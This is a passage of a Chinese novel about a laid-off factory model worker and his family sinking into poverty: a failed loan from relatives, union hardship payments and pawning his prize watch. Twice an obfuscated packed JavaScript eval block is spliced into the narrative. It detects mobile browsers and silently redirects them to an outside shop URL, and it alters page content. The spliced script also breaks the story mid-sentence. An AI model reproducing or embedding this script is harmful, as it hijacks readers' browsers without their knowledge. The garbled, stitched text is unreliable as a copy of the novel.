旁边一个年轻工人跟着哄笑,目光在张建设和他手中的扫帚之间来回逡巡,充满了毫不掩饰的轻蔑。 4. 女儿的疑问 张建设的脸颊肌肉绷紧了,他没有回头,也没有停下动作,只是将扫帚握得更紧,仿佛那是他唯一的武器。他走到一台他曾经再熟悉不过的老式车床前。这台床子跟他年头最长,加工过无数关键零件,上面每一道磨损的痕迹,都记录着他的汗水和青春。 他放下扫帚,从旁边扯过一块相对干净的、浸过油的回丝(棉纱),开始默默地、用力地擦拭起来。擦拭床身,擦拭导轨,擦拭那个他操作过无数遍的刀架和摇柄。动作专注,甚至带着一种近乎虔诚的庄重。仿佛擦拭的不是一台废弃的机床,而是他那些已然逝去的、金光闪闪的岁月。 油泥和灰尘混合在一起,顽固地附着在金属表面。他用力地擦着,指节因为用力而发白。渐渐地,一块原本的金属色泽显露出来,虽然黯淡,却与周围的锈迹和污垢形成了鲜明对比。 在这台车床的床头箱侧面,靠近操作手柄的地方,有一行用钢錾子小心翼翼刻出来的、如今已有些模糊的字迹:“大干快上,为国争光”。那是很多年前,他刚进厂不久,和师傅一起参加技术比武夺得第一名后,师傅带着他,怀着无比激动和自豪的心情刻下的。字迹边缘已经被岁月和无数次抚摸磨得圆润。 他的手指颤抖着,抚过那行字。冰冷的、凹凸不平的触感,却像火焰一样灼烧着他的指尖。 “为国争光……” 他在心里默念,喉咙里象是堵了一块烧红的炭,又干又痛。如今,“国”还在,“光”却不知在何处,而他这个曾经想要“争光”的人,却在这里,用扫帚和抹布,为这段光荣的历史举行一场无声的葬礼。 王大炮几个人不知何时已经离开,大概是觉得无趣了。车间里重新恢复了那令人窒息的死寂。 张建设停下了擦拭的动作,呆呆地站在那里。擦拭得再干净,又能怎样呢?机器不会再启动,荣光不会再回来。那行模糊的字迹,象是一个巨大的、充满嘲讽的问号,刻在他的心上,也刻在这个时代的废墟上。 铁锈和机油混合的、那股浓烈而独特的的气味,再次顽固地钻入他的鼻腔。这一次,他清晰地分辨出,那不仅仅是物质腐败的味道,更象是一种精神的溃烂,一个时代无可奈何花落去的、沉重而悲凉的叹息。这叹息,萦绕在空旷车间每一个角落,也萦绕在他再也无法平静的心头。 晚饭时分,张家那间逼仄的屋子里,唯一的光源仍是那盏昏黄的白炽灯。灯光下,桌上的饭菜简单得近乎寒酸:一盆能照见人影的稀粥,一小碟咸菜疙瘩,还有两个掺了玉米面的窝窝头,表皮粗糙,颜色暗沉。空气里弥漫着稀粥寡淡的水汽和咸菜那股挥之不去的、齁咸中带着苦涩的味道。 张小梅低着头,小口小口地喝着粥,勺子碰着碗边,发出轻微的脆响。她身上那件红色的旧棉袄在昏黄光线下显得愈发暗淡。沉默像一块湿冷的布,笼罩着这张小小的折叠饭桌。 李桂兰没什么胃口,手里的窝窝头半天才咬一小口,眼神时不时飘向窗外浓重的夜色,又迅速收回来,落在低头不语的丈夫身上,那目光里交织着忧虑和一种强撑着的镇定。 张建设机械地咀嚼着窝窝头,粗糙的食物刮过喉咙,难以下咽。他感到女儿的目光偶尔会小心翼翼地扫过自己,像受惊的蝴蝶,一触即走。这目光让他如坐针毡,比车间里那些明晃晃的嘲讽更让他难以承受。 终于,张小梅抬起头,那双清澈的、尚未被生活彻底浸染的眼睛里,充满了真实的困惑。她放下勺子,声音细细的,带着孩童特有的、不谙世事的直接: “爸爸,”她开口,每一个字都像小锤子敲在张建设的心上,“为什么王小明说他爸爸下岗了,不用去厂里了。你……你也在家,为什么王小明说你不是下岗?” 问题像一颗突然投入死水潭的石子,激起了无声的巨浪。 张建设咀嚼的动作彻底僵住了。窝窝头的碎屑卡在喉咙里,引发一阵剧烈的、让他面红耳赤的咳嗽。他慌忙端起碗,借着喝粥掩饰自己的窘迫和痛苦,滚烫稀薄的粥水呛进气管,引来更猛烈的咳嗽,眼泪都差点逼出来。 李桂兰的脸色瞬间变得苍白,她飞快地瞥了丈夫一眼,看到他脖颈上因剧烈咳嗽而凸起的青筋和脸上狼狈的红潮,心脏像被一只冰冷的手攥紧了。她几乎是抢着开口,声音比平时尖利了几分,带着一种不容置疑的、刻意营造的坚定: “别瞎说!”她打断女儿的话头,语气有些急促,“你爸爸跟王小明他爸爸不一样!你爸爸是劳模!是厂里的骨干!厂里……厂里现在需要他做更重要的工作!看守……对,看守那些重要的机器!” 她说得又快又急,仿佛慢一点,自己就会先失去说服自己的勇气。目光却不敢与女儿那双充满探究的眼睛对视,只能死死盯着桌上那碟黑乎乎的咸菜疙瘩。 屋子里陷入一片更令人窒息的沉默。只有张建设压抑的、断断续续的咳嗽声,和李桂兰略显粗重的呼吸声。 就在这时,隔壁王婶那极具穿透力的声音,又不合时宜地透过薄薄的墙壁传了过来,带着一种心满意足的叹息,象是在自言自语,又分明是说给这边听: “唉,这年头,劳模顶啥用哟?还不是跟咱们一样,等着喝西北风?啧啧,以前多风光啊,现在不也得认命?孩子问起来,怕是都没脸说实话喽……” 这话像一把淬了毒的匕首,精准地捅破了李桂兰刚刚匆忙筑起的、脆弱的防护墙。她的脸颊瞬间涨红,握着筷子的手指因为用力而微微颤抖。 张小梅看着剧烈咳嗽、无法言语的父亲,又看了看脸色通红、眼神躲闪的母亲,再听着隔壁那清晰的、充满奚落的话语。她虽然只有十岁,无法完全理解“下岗”、“劳模”背后复杂的成人世界的残酷,但她能清晰地感受到家里这种令人不安的低气压,能感觉到父母那份沉重的、无法言说的难堪。 她似懂非懂地“哦”了一声,声音低低的,带着一丝被打断后的委屈,和一种隐约察觉到自己问了不该问的问题的惶恐。她重新低下头,默默扒拉着碗里所剩无几的稀粥,不再说话了。 那声“哦”,像一根冰冷的针,扎进了张建设和李桂兰的心里。它比任何哭闹和质问都更让人心痛。孩子看出来了,看破了他们用谎言勉强维持的、摇摇欲坠的体面。 晚饭在一种近乎凝固的尴尬和痛苦中草草结束。张建设推开几乎没动的碗筷,一言不发,起身走到了窗边,背对着妻女,望着窗外沉沉的黑夜,只留下一个僵硬而落寞的背影。那背影,仿佛承载了整个时代倾塌下来的重量。 窗外的北风似乎永不知疲倦,在筒子楼破损的窗框缝隙间制造出时而尖啸、时而呜咽的杂音,像无数冤魂在黑暗中窃窃私语,嘲弄着人间的窘迫。张家屋里,那盏昏黄的白炽灯已经熄灭,取而代之的是一盏更小、更暗的床头灯,在靠墙的折叠桌一角投下一圈微弱的光晕,勉强照亮李桂兰身前的一方天地。 屋子里弥漫着一股陈旧布料和淡淡霉味混合的气息,那是贫穷经年累月沉淀下来的味道。寒冷像无形的蛇,从水泥地的缝隙、从单薄的门窗钻进来,缠绕在人的脚踝和脖颈上,挥之不去。 李桂兰身上紧紧裹着那件看不出本色的旧棉袄,领子竖着,试图抵挡寒意。她面前摊开着一个巴掌大小、封面早已磨损卷边、露出里面黄色纸芯的笔记本。笔记本的纸张粗糙发黄,上面密密麻麻、歪歪扭扭地写满了铅笔字迹,许多地方经过反复涂改和擦拭,几乎要破了。这是一本家庭账本,记录着这个家每一分钱 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她的嘴唇无声地翕动着,反复进行着绝望的演算。左边是如同雪片般飞来的、根本无法躲避的债务和必需开销,右边是那个可怜巴巴的、如同杯水车薪的二十五元。数字像一条条冰冷的绞索,在她眼前晃动、缠绕,越勒越紧,几乎让她窒息。 “嗤——” 隔壁王家似乎还在看电视,隐约传来模糊的戏曲唱腔和王婶那毫不掩饰的、带着饱足感的笑声。那笑声穿透薄薄的墙壁,像针一样扎在李桂兰的耳膜上。她仿佛能听到王婶正用那惯有的、带着优越感的嗓门说着:“……穷得叮当响,还死要面子活受罪!那点钱,够干啥?等着卖房子吧!” 她猛地甩了甩头,想把那声音驱赶出去,却只觉得一阵眩晕。手指无意识地摩挲着账本边缘,那里有一小片深色的、已经干涸的血渍,是前几天做活时不小心被针扎破手指留下的。这抹暗红,像极了这个家庭正在缓慢流淌的生命力。 她再次拿起铅笔,试图在那些债务数字旁边写下还款计划,但笔尖悬在空中,久久无法落下。能从哪里变出钱来?再去求娘家的姐妹?上次借的五块钱还没还,妹夫那冷冰冰的眼神她现在还记得。去找街道?名额有限,比他们困难的人家多的是…… 她抬起手,用力揉搓着酸涩胀痛的眼眶,指尖一片冰凉。目光不由自主地飘向床上。张建设面朝墙壁躺着,被子盖得严严实实,一动不动,象是睡熟了。但她知道他没有。他那过于僵直的背影,和偶尔传来的、被极力压抑的、悠长而沉重的呼吸声,暴露了他清醒的事实。他甚至不敢翻身,生怕惊扰了她,或者说,生怕面对这令人绝望的现实。 李桂兰收回目光,重新聚焦在那本皱巴巴的账本上。那些数字,不再是简单的符号,它们变成了婆婆痛苦的呻吟,变成了女儿看着同学穿新衣服时羡慕又懂事的眼神,变成了债主上门时冰冷的面孔,变成了邻居背后指指点点的窃语,也变成了丈夫在深夜无法抑制的、压抑的叹息。 她闭上眼,深深吸了一口冰冷的、带着绝望味道的空气,然后猛地睁开,用那支短得硌手的铅笔,在账本的空白处,用力地、几乎是刻下去一般,写下了两个歪歪扭扭的字: “借?挣?” 写完这两个字,她象是被抽干了所有力气,颓然向后靠在冰冷的椅背上,手中的铅笔头“啪嗒”一声掉落在账本上,滚了几圈,停在那片干涸的血渍旁。 窗外,风声更紧了,像永无止境的哀歌,裹挟着这个城市里无数个类似家庭的叹息与挣扎,奔向渺不可知的、同样寒冷的未来。那本摊开的账本,在昏黄的光线下,像一块巨大的、无法搬动的墓碑,压在这个小小的屋子里,也压在李桂兰再也无法承受重负的心上。 5. 借债 寒风依旧凛冽,卷着地上的残雪和尘土,打在脸上生疼。张建设提着两瓶水果罐头——那是用家里最后一点像样的钱买的,玻璃瓶在网兜里相互碰撞,发出轻微而清脆的声响,在这沉寂的街道上显得格外突兀。罐头标签鲜艳,与他身上那件洗得发白、肘部磨出毛边的旧棉袄格格不入。他要去大姐家。 穿过几条熟悉的、如今却显得格外漫长的胡同,拐进一个相对整齐些的家属院。院子里晾衣绳上挂着的冻硬的衣服,像一面面僵硬的旗。他走到一栋灰砖楼前,在单元门口踌躇了片刻,才吸了口气,踏上冰冷的水泥台阶。 敲门。门内传来拖鞋趿拉的声音,接着门开了条缝,露出大姐那张略显富态、但此刻却带着明显惊讶和一丝不易察觉的戒备的脸。 “建设?你怎么来了?快,快进来!”大姐的声音提高了八度,带着一种过分的热情,侧身让他进屋。目光却飞快地扫过他手中的网兜和那身寒酸的衣着。 屋里比外面暖和许多,带着一股饭菜和暖气的混合味道。客厅不大,但收拾得整齐,一台小小的黑白电视机正开着,播放着喧闹的节目。姐夫坐在沙发上,手里拿着报纸,看见他进来,放下报纸,脸上堆起笑容,站起身: “哎呀,建设来了!稀客稀客!外面冷坏了吧?”他热情地拉着张建设坐下,又忙着去倒茶。 一杯热气腾腾的茶水放在张建设面前的茶几上,茶叶在杯子里缓缓舒展开。大姐坐在对面,脸上依旧挂着笑,眼神却在他和那两瓶水果罐头之间微妙地游移。 “厂里……最近还好吧?”大姐试探着问,声音放低了些。 张建设双手捧着温热的茶杯,指尖却感觉不到多少暖意。他喉咙发干,舔了舔开裂的嘴唇,终于艰难地开口,声音有些沙哑:“大姐,姐夫……今天来,是想……想跟你们商量个事。” 他停顿了一下,感受到两道目光瞬间聚焦在自己脸上,那目光里的温度似乎降低了几分。 “厂里情况不好,我……我下岗了。”他几乎是咬着牙说出这几个字,感觉脸上火辣辣的,“家里现在……桂兰身体不行,小梅还要上学……实在是,揭不开锅了。想……想跟你们周转一点,不多,就五十块,等……” 他的话还没说完,客厅里的空气仿佛瞬间凝固了。 姐夫脸上的笑容像退潮一样迅速消失,他端起自己的茶杯,吹了吹并不存在的浮沫,喝了一口,然后重重叹了口气,打断了张建设的话: “建设啊,不是当姐夫的说你!”他放下茶杯,身体微微前倾,脸上换上了一副愁苦又为难的表情,“你这……你这可真是给我们出难题啊!” 他掰着手指头,开始诉苦:“你看,你侄子这对象算是谈成了,可对方家里要求高,彩礼、三转一响(自行车、手表、缝纫机、收音机),一样不能少!我们这正愁得睡不着觉呢!光是这新房,就得重新粉刷,置办家具,哪一样不要钱?我们那点家底,你又不是不知道,早就掏空了!现在还欠着外面一屁股债呢!” 大姐在一旁附和着,声音也变得干巴巴的:“是啊,建设,不是姐不帮你,实在是……家家有本难念的经。我们现在也是勒紧裤腰带过日子,一分钱恨不能掰成两半花。” 她看着张建设瞬间惨白的脸色和低垂下去的头,似乎有些不忍,又补充道:“要不……你去问问老二家?或者……找厂里看看有没有啥补助?” 姐夫立刻接话,语气带着一种过来人的“精明”:“对对对!找厂里!你是老劳模,厂里总不能一点不管吧?再说,这亲戚之间,救急不救穷,我们这……唉,实在是心有余力不足啊!” 张建设坐在那里,像一尊正在风化的石像。手里的茶杯渐渐变凉,那点虚假的热气早已散尽。他听着姐夫一条条、一件件地数落着自家的难处,听着大姐那些苍白无力的推诿。每一个字都像冰冷的石子,砸在他心上。他明白,再坐下去,只是自取其辱。 他猛地站起身,动作有些僵硬,差点带倒桌上的茶杯。 “我……我知道了。打扰了,大姐,姐夫。”他的声音低得几乎听不见,带着一种被抽空力气的虚弱。 “哎,你看你这……饭点了,吃了饭再走吧?”大姐也站起来,语气带着一丝如释重负的客套。 “不了,桂兰……还在家等着。”张建设几乎是逃离般地走向门口,甚至忘了拿走那两瓶作为“敲门砖”的水果罐头。 姐夫拿起网兜,塞到他手里,脸上带着一种混合着怜悯和轻松的复杂表情:“这个你拿回去,给小梅吃。我们这不缺。” 张建设没有推辞,麻木地接了过来。 门在身后“咔哒”一声关上了,隔绝了屋里的暖意和那令人窒息的虚伪。他站在冰冷的楼道里,听着门内隐约传来的、似乎是松了口气的低声交谈,感觉全身的血液都凉透了。 他一步一步走下楼梯,手中的水果罐头沉甸甸的,不再是希望的象征,而是他尊严扫地的证明。寒风吹透了他单薄的棉袄,他却感觉不到冷,因为心里已经结了冰。这第一站,就像一盆冰水,将他心中最后一点侥幸的火星,彻底浇灭了。 厂工会那座红砖小楼,此刻仿佛成了北春机械厂最后一块还能渗出些许暖意的疮疤。然而这暖意,却是一种病态的、混杂着绝望与焦虑的燥热。 张建设还没走近,就被一阵鼎沸的人声浪潮淹没。小楼门前那片空地,早已被人群挤得水泄不通。男男女女,大多穿着和他一样洗褪色的工装,像一群被驱赶到狭小礁石上的、惊慌失措的蚂蚁。人们推搡着,叫嚷着,咒骂着,每一张脸上都刻着相似的惶恐与愤怒。空气里弥漫着汗臭、劣质烟草的辛辣,还有一股从人潮深处散发出的、因长期饥饿和紧张而产生的淡淡酸腐气。 “凭什么不下他?他小舅子是车间主任!” “我家五口人就指望我这点工资啊!” “工会是干什么吃的?管不管我们死活?!” 声音嘶哑,带着哭腔,像钝刀子一样割着人的耳膜。几个工会的办事员被围在中间,满头大汗,声音早已喊得沙哑,徒劳地挥舞着手臂试图维持秩序:“大家别挤!一个个来!厂里困难,领导正在想办法……” 张建设被人流裹挟着,身不由己地往前挪。他的肩膀撞到一个人,那人猛地回头,眼睛赤红,布满血丝,是铸工车间的老孙头。 “挤什么挤!张建设?”老孙头认出了他,脸上的怒意瞬间化为一种古怪的、带着嘲讽的惊讶,“哟!你这大劳模也来了?怎么也落到这步田地了?不是有特殊任务吗?” 他特意加重了“特殊任务”几个字,嘴角咧开一个难看的笑容。 张建设喉咙发紧,想说什么,却一个字也吐不出来。他只能低下头,避开那目光,像一条滑腻的鱼,艰难地从人缝里往前钻。汗水从他额角渗出,迅速变得冰凉。 好不容易挤到工会办公室的门口,那扇原本普通的木门,此刻仿佛成了天堂与地狱的分界线。门槛内外,是两个世界。 门内,烟雾缭绕。工会副主席老马——一个头发花白、面容憔悴的中年男人,坐在一张堆满材料的旧办公桌后,手里捏着个搪瓷缸,手指被烟熏得焦黄。他面前的桌子上,放着薄薄一叠表格和一小沓零钱。他每念一个名字,简单问几句情况,偶尔从那一小沓钱里抽出几张,递过去,同时在本子上划掉一笔。拿到钱的人,脸上也并无喜色,只是更加麻木,攥着那几张可怜的钞票,默默挤出人群。 “下一个,机加车间,王永福!”老马的声音干涩得像砂纸摩擦。 一个瘦小的男人挤到桌前,声音带着哭腔:“马主席,我老娘瘫在床上,孩子才八岁,媳妇没工作,这……” 老马疲惫地揉了揉太阳穴,打断他:“知道,都知道。厂里困难,补助金就这么多,僧多粥少,大家要体谅……先给你二十,应应急。”他数出两张十元的纸币,推过去。 “二十?二十够干啥啊!”王永福几乎要跳起来,声音尖利。 “就这些了!后面还有多少人等着呢!”老马猛地提高音量,随即又象是耗尽了力气,挥挥手,“下一个!” 张建设就站在门口,一只脚在门内,一只脚在门外。他能清晰地看到老马脸上那深刻的疲惫与无奈,看到那叠迅速变薄的钞票,看到那些拿到微薄补助后更加绝望的眼神。 他应该进去的。他家里等米下锅,妻子病弱,女儿年幼,他比很多人更需要这笔钱。他的嘴唇动了动,几乎要喊出“马主席”三个字。 可就在这一刻,他的目光落在了自己胸前。那枚劳模奖章,不知何时又被他别在了棉袄上,或许是一种下意识的、寻求身份认同的举动。冰凉的金属,在办公室浑浊的灯光下,反射着一点微弱而讽刺的光。 他想起了自己曾经站在主席台上,接受表彰,台下是雷鸣般的掌声。厂长握着他的手,说“建设同志,你是我们厂的标杆,要起模范带头作用!” 他想起了车间主任赵胖子的话:“你是劳模,带个头,体谅一下厂里的难处。” “体谅”……这两个字此刻像山一样压着他。 进去,开口,祈求那区区几十块的补助?和这些曾经仰视他的工友们,挤在一起,为了几张钞票争抢、哭诉? 他仿佛已经听到了身后的窃窃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张建设在这条街的拐角处徘徊了许久。寒风卷着地上的纸屑和雪沫,打在他身上,他却感觉不到冷,手心反而沁出黏腻的冷汗。每一次靠近那扇黑漆门,脚步就像灌了铅一样沉重。他下意识地摸了摸左手手腕,那里空荡荡的,只有常年戴表留下的一圈比周围皮肤稍白的印记。 最终,他还是咬了咬牙,像赴刑场一般,推开了那扇沉重的木门。 门内光线骤然昏暗,与外面灰白的天色形成强烈对比。一股陈旧的木头、纸张和淡淡霉味混合的气味扑面而来。柜台很高,是用厚重的、颜色深沉的木头打造,上面装着栅栏,只留下一个不大的窗口,将内外隔绝成两个世界。柜台后面,坐着一个戴着老花镜、头发梳得一丝不苟、穿着深色棉袍的老者。他正就着一盏昏黄的台灯,用放大镜仔细查验着一件旧棉袄的成色,手指枯瘦,动作慢条斯理,带着一种经年累月磨砺出的、冰冷的精准。 店里很安静,只有老者翻动衣物的窸窣声,和角落里一个同样来典当东西的中年女人低低的啜泣声。那哭声压抑而绝望,更衬得这地方阴森可怖。 张建设走到柜台前,高耸的台面几乎到他胸口,他需要微微仰头才能看到窗口后那张毫无表情的脸。他感到一阵眩晕,喉咙发干。 老者抬起眼皮,从老花镜的上方瞥了他一眼,目光像两把冰冷的镊子,在他那身破旧的工装和空荡荡的手腕上扫过,没有任何情绪波动。 “当什么?”声音干瘪,没有任何起伏。 张建设的心脏猛地一缩。他深吸一口气,仿佛用尽了全身力气,才将一直紧紧攥在右手心里的东西,通过那个小窗口,递了进去。 那是一块手表。上海牌,全钢防震,白色的表盘,金色的指针,黑色的皮质表带已经磨损严重,边缘开裂,露出里面暗黄色的内衬。表壳和表带上,布满了细密的划痕,那是岁月和劳作共同留下的印记。唯有表盘上的商标和“中国制造”的字样,依旧清晰。 这块表,是他当年参加全市青工技术大比武,夺得车工组第一名时,厂里特意颁发的奖品。他还记得那个热烈的表彰大会,记得台下雷鸣般的掌声,记得老厂长亲手将表戴在他手腕上时,那沉甸甸的份量和滚烫的嘱托:“建设,好好干,为咱们工人阶级争光!” 这不仅仅是一块表,是他青春、汗水、荣誉的见证,是他作为一个优秀技术工人的身份象征。 老者的手指,那双枯瘦、布满老年斑的手,接过了表。他甚至没有多看张建设一眼,全部的注意力都集中在了这块旧表上。他拿起放大镜,凑到台灯下,像解剖一只昆虫般,仔细地检查着。他用指甲轻轻划过表壳的划痕,拧了拧早已不再走动的表冠,又对着灯光看了看早已模糊黯淡的表盘。 6. 招工广告的诱惑 整个过程缓慢而沉默,每一秒都象是在凌迟张建设的心。他能听到自己粗重的呼吸声,和角落里那个女人若有若无的啜泣交织在一起。 终于,老者放下了放大镜,将表随意地放在铺着深色绒布的台面上,仿佛那只是一件无关紧要的旧物。 “老款式了。”他抬起眼,目光透过镜片,冰冷地落在张建设脸上,报出一个数字,“五十块。” 五十块。 张建设的身体几不可察地晃了一下。五十块?这块承载了他十几年荣光、见证了他无数个日夜辛勤劳作的手表,只值五十块?还不够买几袋面粉,不够支付女儿下学期的学费,甚至不够给妻子抓几副好点的药! 他想争辩,想说这表当年的意义,想诉说自己的困境。可当他看到老者那双毫无波澜、仿佛看透了世间一切落魄与哀求的眼睛时,所有的话都堵在了喉咙里,化成一股苦涩的腥气。 他知道,在这里,没有荣誉,没有历史,只有赤裸裸的价值衡量。他的青春,他的骄傲,在这冰冷的柜台前,被无情地折算成了这区区五十元。 他张了张嘴,最终,只发出一个干涩的音节:“……当。” 老者不再多言,熟练地拉开抽屉,取出一张印制粗糙的当票,用毛笔飞快地填写起来,然后,数出五张簇新的十元纸币,连同当票,一起从窗口推了出来。 那五张纸币,颜色鲜亮,带着油墨的味道,与这昏暗陈旧的环境格格不入。 张建设伸出颤抖的手,拿起那五张纸币。纸币的边缘有些割手,那轻微的刺痛,却远不及他心中万分之一的心痛。他没有再看那块被随意丢弃在绒布上的手表,仿佛多看一眼,都会让那耻辱感更加灼热。 他将纸币紧紧攥在手心,几乎要捏出水来。然后,他转过身,脚步虚浮地走向门口,甚至没有去细看那张意味着赎回可能(虽然他心知肚明,几乎不可能赎回)的当票。 推开那扇沉重的黑漆木门,外面冰冷的光线和空气再次涌来。他站在当铺门口,低头看着手中那五张轻飘飘的纸币,感觉左手手腕上那片空荡荡的皮肤,此刻轻得发飘,也凉得刺骨。 他用他前半生的荣耀,换来了这维系后半生苟延残喘的、微不足道的五十元。这代价,太重了。 日子像锈蚀的齿轮,艰难地卡在月末。这天,张建设领到了那笔微薄的、名为“留守津贴”实为最后买断工龄补偿金的款项。钱不多,攥在手里,薄薄一叠,却仿佛有千斤重,压得他指关节生疼。他知道,这不仅是钱,更象是一纸判决书,正式宣告了他与那个轰鸣了半辈子的工厂,与“工人老大哥”这个身份,彻底割裂。 他拖着比灌了铅还沉重的脚步回到那间逼仄的筒子楼。楼道里比往日更加阴冷,邻居家炒菜的油烟味里,似乎也夹杂着更多窥探和窃议。王家门虚掩着,王婶那特有的、带着某种隐秘兴奋的嗓音飘出来:“……瞅见没?老张家那口子今天居然割了肉!啧啧,这是发了啥横财?还是破罐子破摔了?” 张建设的脚步顿了一下,脸颊肌肉绷紧,低着头,加快步子闪进了自家房门。 屋里,竟难得地弥漫着一股久违的、属于油脂和面粉的温暖香气。那盏昏黄的白炽灯下,折叠饭桌被擦得比平时干净些,上面摆着三碗热气腾腾的面条。不是平日里清汤寡水的素面,而是实实在在的肉丝面——细细的手擀面卧在泛着油花的汤底里,上面铺着一层炒得焦香的肉丝和几根碧绿的青菜。 李桂兰正背对着门口,在灶台前忙碌,锅铲与铁锅碰撞发出最后几声脆响。她今天似乎特意拢了拢头发,虽然依旧穿着那件旧棉袄,但背影却透着一股不同寻常的、近乎郑重的气息。 张小梅已经坐在桌边,眼睛直勾勾地盯着自己面前那碗面,小鼻子用力吸着香气,喉咙不自觉地滚动着,写满了孩童最原始的渴望。她看到父亲进来,眼睛亮了一下,小声而兴奋地说:“爸爸,今天吃面条!有肉!” 张建设“嗯”了一声,声音沙哑。他走到桌边坐下,目光落在面前那碗面上。氤氲的热气模糊了他的视线,那诱人的香气此刻却像无数根细针,刺扎着他的鼻腔和心肺。 李桂兰端着一小碟咸菜走过来,放在桌子中央,然后在围裙上擦了擦手,坐下。她没有看丈夫,只是拿起筷子,轻声说:“吃吧,面坨了就不好吃了。” 她没有解释这碗面的由来,没有说这是她用偷偷攒下的、准备换季给女儿添件新衣裳的钱,加上今天刚领到的那点津贴,咬牙奢侈了这一回。她只是沉默地,用这碗在她看来近乎“挥霍”的肉丝面,来标记这个家庭命运转折的、沉重的一天。 饭桌上出现了短暂的、只有吸溜面条的声响。张小梅吃得格外香甜,小嘴油汪汪的,几乎将整张脸埋进碗里,那满足的、毫不掩饰的快乐,像锥子一样扎着张建设。 李桂兰几乎没有动自己碗里的肉丝。她默默地、近乎固执地,用筷子将自己碗里那本就稀少的肉丝,一筷子、一筷子,全都拨到了丈夫和女儿的碗里。 “妈,你自己吃!”张小梅抬起沾着油花的小脸,含糊地说。 “妈不爱吃,腻。”李桂兰头也不抬,声音平静,继续挑着面条,仿佛那碗里只剩下青菜和面条才是她的本分。 张建设看着自己碗里瞬间多出来的、堆成小山的肉丝,又看着妻子碗里那清汤寡水的面,和她在灯光下更显憔悴、甚至带着一丝浮肿的侧脸。他握着筷子的手,指节因为用力而泛白。 他知道,这不是“不爱吃”。这是这个沉默而坚韧的女人,在用她唯一能做到的方式,支撑着这个即将倾颓的家,抚慰着他这个“失败”的丈夫和父亲那破碎的尊严。 他夹起一筷子混合着肉丝的面条,塞进嘴里。面条劲道,肉丝咸香,是他记忆中熟悉的味道,是“好日子”的味道。可此刻,这味道却如同掺了沙子,粗糙地摩擦着他的喉咙,难以下咽。每一口,都伴随着巨大的负罪感。他仿佛不是在吃面,而是在啃噬妻女那份本就不多的生存资源,在吞咽自己无能的苦果。 他不敢抬头,不敢迎接妻子那平静目光下可能隐藏的忧虑,更不敢看女儿那纯然的、因一碗肉丝面而焕发的快乐。他只是埋着头,机械地、近乎痛苦地,咀嚼着,吞咽着。那碗象征着短暂“丰盛”的肉丝面,此刻成了他人生中最苦涩、最难以下咽的一餐。 窗外的风声似乎变小了,但另一种更沉重、更无声的东西,压在了这间小小的屋子里,压在了每个人的心头。 夜,深得像一口望不见底的古井。筒子楼里白日的喧嚣与刻薄,终于被这浓稠的黑暗吸收、稀释,只剩下死一般的沉寂。唯有北风,这个不知疲倦的幽灵,依旧在楼道破损的窗框间穿梭,发出时而呜咽、时而尖啸的声响,象是为这沉沦的世界奏响的、永无止境的安魂曲。 张家屋里,那盏为晚饭点亮的昏黄白炽灯早已拉灭。然而,一片近乎完全的黑暗中,却在靠近窗户的墙角,固执地亮着一小团微弱得可怜的光晕。那光,并非来自屋内的电源,而是透过薄薄的、带着裂纹的玻璃窗,从隔壁单元某户尚未熄灯的窗户里勉强渗透过来的一点“恩赐”。像偷来的一般,吝啬地照亮了阳台角落里那个蜷缩着的、几乎要与阴影融为一体的身影。 李桂兰坐在一张矮小的马扎上,身上紧紧裹着那件抵御不住深夜寒气的旧棉袄,领子竖着,缩着脖子。她的膝盖上,放着一个破旧的搪瓷盆,盆里是几团颜色暗淡、粗细不一的旧毛线。她的脚边,散落着几件拆解到一半的、颜色款式各异的旧毛衣——那是她这些天,几乎是挨家挨户,赔着笑脸,从那些或许还存着一丝怜悯、或许只是急于处理废旧物的邻居们手里,近乎乞求地收集来的。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743041|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指,那双因长期浸泡在冰冷洗衣水和与粗糙布料摩擦而布满裂口、冻疮和老茧的手指,正极其缓慢而又异常专注地动作着。她先将旧毛衣上的线头小心地找到,然后一点一点地拆解,将弯曲的毛线在搪瓷盆沿上捋顺,再缠绕成一个新的、小小的线团。动作熟练,却带着一种被生活重压磨砺出的、沉重的滞涩感。 寂静中,任何微小的声音都被放大。毛线摩擦时细微的“沙沙”声,像春蚕在啃噬桑叶,也像时间在一点点啃噬着她所剩无几的精力。窗外风声鹤唳,偶尔夹杂着远处野狗凄厉的吠叫,更添了几分凄凉。 就在这时,隔壁王家似乎传来了响动。王婶那压低却依旧清晰的、带着饱食后慵懒和惯常刻薄的声音,穿透了那堵几乎不隔音的墙壁: “……瞅见没?老张家那口子,大半夜的还不睡,借着咱家光在那儿拆破烂呢!” 声音里充满了毫不掩饰的鄙夷,“真是穷疯了!那点旧毛线能值几个钱?织出来的手套谁要?白送我都嫌扎手!男人没本事,就知道让婆娘点灯熬油地挣这塞牙缝的钱,也不嫌丢人!” 这话,像一把淬了冰的匕首,精准地捅进了李桂兰的耳膜。她的手指猛地一僵,缠绕的毛线差点从手中滑落。一股混合着屈辱、愤怒和无力的热流瞬间冲上头顶,让她眼前阵阵发黑。她能想象出王婶说这话时,那撇着嘴、翻着白眼的模样。 她没有回应,甚至没有朝墙壁的方向看一眼。任何的辩驳或哭泣,都只会让这嘲弄变得更加得意和响亮。她只是将嘴唇抿成一条失去血色的直线,深深地、无声地吸了一口冰冷的、带着毛线纤维和灰尘味道的空气,然后低下头,更加用力地、几乎是带着一种恨意地,继续着手里的动作。缠绕,捋顺,仿佛要将所有的委屈和愤怒,都缠绕进那一个个小小的、冰冷的线团里。 